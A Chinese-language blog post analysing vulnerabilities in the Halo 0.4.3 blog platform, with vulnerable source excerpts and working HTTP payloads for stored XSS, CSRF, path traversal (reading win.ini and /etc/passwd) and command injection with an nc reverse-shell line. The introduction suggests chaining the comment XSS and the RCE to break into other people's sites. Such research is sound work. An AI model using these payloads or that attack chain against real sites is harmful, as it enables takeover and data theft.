SpringBoot 學習 | raibaby Halo v0.4.3 漏洞分析

木禾ali0th發表於2019-04-30
Spring BootAI

Author : Ali0th

Date : 2019-4-30

看到 Halo 0.4.3 Issue 上還挺多漏洞的，而且作者打算寫新的版本，目前的版本大部分都還沒修。這個漏洞還是有點多的，不過大部分都是後臺漏洞。

這個是一個 Java SpringBoot 寫的 Web 部落格應用，相關部署和原始碼分析可以見我的其它文章。

如果要滲透別人的網站，可以先使用評論處儲存型XSS，獲取到管理員 session 後，再使用命令執行 後臺遠端命令執行 即可。

@[TOC]

後臺記錄IP儲存型XSS

These is A stored xss vulnerability #126

是一個後臺的儲存型XSS，因為記錄後臺登入IP和X-Forwarded-For，然後展示導致的。

github.com/halo-dev/ha…

payload:

POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 35
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2

loginName=admin&loginPwd=adminadmin
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在這裡插入圖片描述

密碼錯誤提示XSS（已修復）

密碼錯誤時，返回了密碼內容無過濾，這個是POST型XSS。

try {
            User aUser = userService.findUser();
            ...
        } catch (Exception e) {
            Integer errorCount = userService.updateUserLoginError();
            if (errorCount >= 5) {
                userService.updateUserLoginEnable("false");
            }
            userService.updateUserLoginLast(new Date());
            logsService.saveByLogs(new Logs(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + loginName + "," + loginPwd + "]", HaloUtil.getIpAddr(request), new Date()));
            log.error("登入失敗！：{0}", e.getMessage());
        }
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payload:

POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 77
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

loginName=admin&loginPwd=adminadmin<a href="javascript:alert(/xss/);">xss</a>
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修復後：

//更新失敗次數
final Integer errorCount = userService.updateUserLoginError();
//超過五次禁用賬戶
if (errorCount >= CommonParamsEnum.FIVE.getValue()) {
    userService.updateUserLoginEnable(TrueFalseEnum.FALSE.getDesc());
}
logsService.save(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + HtmlUtil.escape(loginName) + "," + HtmlUtil.escape(loginPwd) + "]", request);
final Object[] args = {(5 - errorCount)};
return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.login.failed", args));
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加入了HtmlUtil.escape()方法過濾。

評論處儲存型XSS

評論處儲存型XSS，可以提交到後臺，讓後臺管理者受到XSS攻擊。

檔案位置：cc.ryanc.halo.web.controller.front.FrontCommentController

comment.setCommentAuthorEmail(HtmlUtil.escape(comment.getCommentAuthorEmail()).toLowerCase());
// code ...
comment.setCommentAuthor(HtmlUtil.escape(comment.getCommentAuthor()));
// code ...
    //將評論內容的字元專為安全字元
    comment.setCommentContent(OwoUtil.markToImg(HtmlUtil.escape(comment.getCommentContent()).replace("&lt;br/&gt;", "<br/>")));
}
if (StrUtil.isNotEmpty(comment.getCommentAuthorUrl())) {
    comment.setCommentAuthorUrl(URLUtil.normalize(comment.getCommentAuthorUrl()));
}
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可以看到，提交評論處對大部分引數值有使用HtmlUtil.escap進行過濾，但是對getCommentAuthorUrl沒有過濾。

payload:

POST /newComment HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/archives/hello-halo
Content-Length: 241
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

postId=3&commentContent=ali0th+say+hi&commentAuthor=ali0th&commentAuthorEmail=ali0th%40test.com&commentAuthorUrl=www.ali0th.com"><img src=1 onerror=alert(123)>&commentAgent=Mozilla%2F5.0+(Windows+NT+6.3%3B+WOW64%3B+rv%3A27.0)+Gecko%2F20100101+Firefox%2F27.0&commentParent=0
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在這裡插入圖片描述

github.com/halo-dev/ha…

後臺任意檔案下載

將備份傳送到郵箱處，使用拼接的方式載入檔案，然後發到郵件，導致任意檔案下載。

檔案位置：cc.ryanc.halo.web.controller.admin.BackupController

System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code...
new EmailToAdmin(srcPath, user).start();
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payload:

因為我在 win 環境，所以這裡包含c:/windows/win.ini

GET /admin/backup/sendToEmail?type=../../../../../../&fileName=c:/windows/win.ini HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/admin/backup?type=resources
Cookie: JSESSIONID=OtSpPq_v8fXROoZ5mFT3DbjeIs07ud8kk6VyMh5U
Connection: keep-alive
複製程式碼

github.com/halo-dev/ha…

後臺遠端命令執行

線上拉取主題功能，使用 git clone 接取主題。

檔案位置：cc.ryanc.halo.web.controller.admin.ThemeController

final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName);
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使用拼接的形式構造命令，並使用RuntimeUtil.execForStr執行。

我這是win下，所以使用下面命令

# 監聽
nc -l -p  12345 -v
# 反彈命令
nc.exe -e cmd.exe 127.0.0.1 12345
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github.com/halo-dev/ha…

後臺任意檔案刪除

在刪除備份檔案處，使用拼接方式組裝路徑。

檔案位置：cc.ryanc.halo.web.controller.admin.BackupController

final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code ...
FileUtil.del(srcPath);
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github.com/halo-dev/ha…

後臺新增標籤處XSS與CSRF

新增標籤處基本沒有過濾。

檔案位置：cc.ryanc.halo.web.controller.admin.TagController

final Tag tempTag = tagService.findByTagUrl(tag.getTagUrl());
// code ...
tag = tagService.create(tag);
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沒有太多的處理，對 tagName 則完全沒有處理。

CSRF payload:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.halo.run/admin/tag/save" method="POST">
      <input type="hidden" name="tagName" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tagUrl" value="123" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
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XSS payload:

POST /admin/tag/save HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/tag
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
Pragma: no-cache
Cache-Control: no-cache

tagName=%3Cscript%3Ealert(1)%3C%2Fscript%3E&tagUrl=123
複製程式碼

github.com/halo-dev/ha…

後臺文章發表處CSRF

大部分位置均有 CSRF。這裡就不分析了。

payload:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.halo.run/admin/posts/save" method="POST">
      <input type="hidden" name="postStatus" value="0" />
      <input type="hidden" name="postTitle" value="test" />
      <input type="hidden" name="postUrl" value="1554359315872" />
      <input type="hidden" name="postContentMd" value="test123" />
      <input type="hidden" name="postThumbnail" value="&#47;static&#47;halo&#45;frontend&#47;images&#47;thumbnail&#47;thumbnail&#46;png" />
      <input type="hidden" name="cateList" value="" />
      <input type="hidden" name="tagList" value="" />
      <input type="hidden" name="allowComment" value="1" />
      <input type="hidden" name="postPassword" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
複製程式碼

github.com/halo-dev/ha…

後臺主題編輯處存在任意檔案讀取

使用 append 方法拼接路徑，沒有對輸入的引數值過濾，導致任意檔案讀取。

檔案位置：cc.ryanc.halo.web.controller.admin.ThemeController

//獲取專案根路徑
final File basePath = new File(ResourceUtils.getURL("classpath:").getPath());
//獲取主題路徑
final StrBuilder themePath = new StrBuilder("templates/themes/");
themePath.append(BaseController.THEME);
themePath.append("/");
themePath.append(tplName);
final File themesPath = new File(basePath.getAbsolutePath(), themePath.toString());
final FileReader fileReader = new FileReader(themesPath);
tplContent = fileReader.readString();
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payload:

GET /admin/themes/getTpl?tplName=../../../../../../../../etc/passwd HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/themes/editor
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
複製程式碼

github.com/halo-dev/ha…

前臺突破加密文章許可權

只判斷了是否有傳入 cookie ，沒有判斷是密碼是否正確。只要攔截包，然後修改 cookie 即可。

(這一個漏洞我沒有復現成功，很奇怪，先擱置)

檔案位置：cc.ryanc.halo.web.controller.front.FrontArchiveController

//判斷文章是否有加密
if (StrUtil.isNotEmpty(post.getPostPassword())) {
    Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId());
    if (null == cookie) {
        post.setPostSummary("該文章為加密文章");
        post.setPostContent("<form id=\"postPasswordForm\" method=\"post\" action=\"/archives/verifyPostPassword\"><p>該文章為加密文章，輸入正確的密碼即可訪問。</p><input type=\"hidden\" id=\"postId\" name=\"postId\" value=\"" + post.getPostId() + "\"> <input type=\"password\" id=\"postPassword\" name=\"postPassword\"> <input type=\"submit\" id=\"passwordSubmit\" value=\"提交\"></form>");
    }
}

// code ...

// 驗證密碼成功新增cookie
        if (SecureUtil.md5(postPassword).equals(post.getPostPassword())) {
            ServletUtil.addCookie(response, "halo-post-password-" + post.getPostId(), SecureUtil.md5(postPassword));
        }
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payload:

HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Thu, 04 Apr 2019 15:02:04 GMT
Content-Length: 0
Connection: keep-alive
Location: 127.0.0.1:8090/archives/hello-halo
Content-Language: zh-CN
Set-Cookie: halo-post-password-3=fae0b27c451c728867a567e8c1bb4e746
Strict-Transport-Security: max-age=31536000
複製程式碼

github.com/halo-dev/ha…

資料

Halo 漏洞 Issues

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